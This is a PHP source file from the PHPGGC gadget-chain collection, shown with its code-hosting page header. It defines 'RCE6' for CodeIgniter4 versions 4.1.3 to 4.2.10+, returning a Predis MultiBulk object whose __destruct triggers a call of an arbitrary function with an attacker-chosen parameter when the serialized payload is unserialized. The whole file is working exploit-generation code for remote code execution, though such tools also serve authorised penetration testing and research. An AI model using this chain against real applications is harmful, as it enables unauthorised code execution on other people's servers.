Codebase list phpggc / 0e99f93d-f279-4470-828a-bb327aa530f2/upstream/0.20221129 gadgetchains / CodeIgniter4 / RCE / 6 / chain.php
0e99f93d-f279-4470-828a-bb327aa530f2/upstream/0.20221129

Tree @0e99f93d-f279-4470-828a-bb327aa530f2/upstream/0.20221129 (Download .tar.gz)

chain.php @0e99f93d-f279-4470-828a-bb327aa530f2/upstream/0.20221129raw · history · blame

<?php

namespace GadgetChain\CodeIgniter4;

class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '-4.1.3 <= 4.2.10+';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \Predis\Response\Iterator\MultiBulk($function, $parameter);
    }
}